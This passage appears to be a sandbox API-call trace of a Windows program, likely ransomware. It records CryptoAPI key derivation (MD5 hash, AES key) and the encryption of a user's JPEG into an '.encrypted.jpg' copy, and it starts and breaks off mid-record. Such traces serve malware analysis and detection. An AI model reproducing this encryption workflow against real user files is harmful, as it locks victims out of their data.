0x11 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.293] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.293] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.294] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.294] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.294] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.295] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.295] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.295] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.295] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.295] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b2d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.295] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.295] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.295] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.295] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0028.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.296] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.296] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.296] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.296] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.296] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.296] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0028.296] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.297] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\ntfbb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.298] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.298] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.298] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.298] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.298] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.298] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2")) returned 0x10 [0028.298] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\ntfbb.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.299] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.299] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.299] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.299] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.300] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.300] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.301] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xb5, lpOverlapped=0x0) returned 1 [0028.301] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.305] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.306] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.306] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.306] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.306] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.306] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.306] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.307] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.307] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.307] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064b90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.308] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.308] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.308] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.308] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x100b5, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x100c0) returned 1 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.309] CharLowerBuffW (in: lpsz="byte[65729]", cchLength=0xb | out: lpsz="byte[65729]") returned 0xb [0028.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.316] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.316] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43aa270*, pdwDataLen=0xe8f3dfdf68*=0x100b5, dwBufLen=0x100c0 | out: pbData=0xe8f43aa270*, pdwDataLen=0xe8f3dfdf68*=0x100c0) returned 1 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 